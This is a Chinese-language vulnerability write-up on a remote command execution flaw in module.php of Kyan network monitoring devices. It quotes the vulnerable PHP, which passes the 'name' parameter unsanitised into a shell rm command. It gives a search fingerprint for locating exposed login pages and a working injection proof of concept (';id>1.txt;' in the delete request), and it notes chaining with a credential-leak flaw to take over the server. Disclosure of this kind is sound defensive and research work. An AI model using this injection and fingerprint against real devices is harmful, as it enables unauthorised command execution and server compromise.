# Kyan 网络监控设备 module.php 远程命令执行漏洞 ## 漏洞描述 Kyan 网络监控设备 module.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞 ## 漏洞影响 Kyan ## 网络测绘 title="platform - Login" ## 漏洞复现 登录页面如下 ![img](/library/img/1631179527807-e2a16825-af31-4f88-a5ef-32752795774b-20220314122650958.png) 存在漏洞的文件: `/module.php` ```python 0) { show_error(lang_get('Extract file failed')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } exec($BASH."\"cd /dev/shm/upload && md5sum -c md5sum\"", $output, $ret); if($ret <> 0) { show_error(lang_get('MD5 check failed')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } if (is_windows()) $dh = opendir('c:\\cygwin\\dev\\shm\\upload'); else $dh = opendir('/dev/shm/upload'); if(!$dh) { show_error(lang_get('can not open dest dir to copy')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } exec($BASH."\"touch /tmp/mmap_watch_pause\""); while($file = readdir($dh)) { if(is_dir($file)) continue; $file = trim($file); if(ereg('\.pkg$', $file)) { $filetitle = basename($file, '.pkg'); $extract_dir = $pkg_extract_dir . '/' . $filetitle; exec($BASH."\"" . $extract_dir . "/.init stop\""); exec($BASH."\"mkdir -p " . $destdir . " && mv -f /dev/shm/upload/" . $file . " " . $destdir . "\""); exec($BASH."\"rm -rf " . $extract_dir . " && mkdir -p " . $extract_dir . " && cd " . $extract_dir . " && bzcat " . $destdir . '/' . $file . " | cpio -idu \""); } } if (!is_windows()) exec($BASH."\"/sbin/ldconfig\""); else exec($BASH."\"rm -rf ". $tmpname ."\""); exec($BASH."\"rm -f /tmp/mmap_watch_pause\""); exec($BASH."\"rm -rf /dev/shm/upload\""); } if (isset($_GET['cmd']) && isset($_GET['name'])) { $cmd = $_GET['cmd']; if ($cmd == 'delete') { $name = $_GET['name']; exec($BASH."\"rm -f ".$PREFIX."pkgs/".$name."\""); if (is_windows()) exec($BASH."\"rm -rf ".$PREFIX2."pkgs/".$name."\""); } } print_html_begin('module'); echo "\n"; echo "\n"; echo "\n"; echo "\n"; if (is_windows()) $dh = opendir('z:\\writable\\pkgs'); else $dh = opendir('/config/pkgs'); if ($dh) { while ($file = readdir($dh)) { if (is_dir($file)) continue; $file = trim($file); if (!ereg('\.pkg$', $file)) continue; $filetitle = basename($file, '.pkg'); echo "\n"; } } echo "
".lang_get('modules')."
".lang_get('name')."".lang_get('operation')."
".$filetitle.""; if (user_is_admin()) echo "".lang_get('delete').""; echo "
\n
\n"; echo "\n"; echo "\n"; echo "\n"; echo ""; echo ""; echo ""; echo "\n
".lang_get('modules to upload')."
" .lang_get('select file')."
\n"; echo "\n"; print_html_end(); ?> ``` 其中需要注意的部分 ```python if (isset($_GET['cmd']) && isset($_GET['name'])) { $cmd = $_GET['cmd']; if ($cmd == 'delete') { $name = $_GET['name']; exec($BASH."\"rm -f ".$PREFIX."pkgs/".$name."\""); if (is_windows()) exec($BASH."\"rm -rf ".$PREFIX2."pkgs/".$name."\""); } } ``` 参数均可控，构造POC ```python /module.php?cmd=delete&name=;id>1.txt; ``` ![img](/library/img/1631195035020-7f8d9f20-1260-4330-9d43-e0fb21e423c0.png)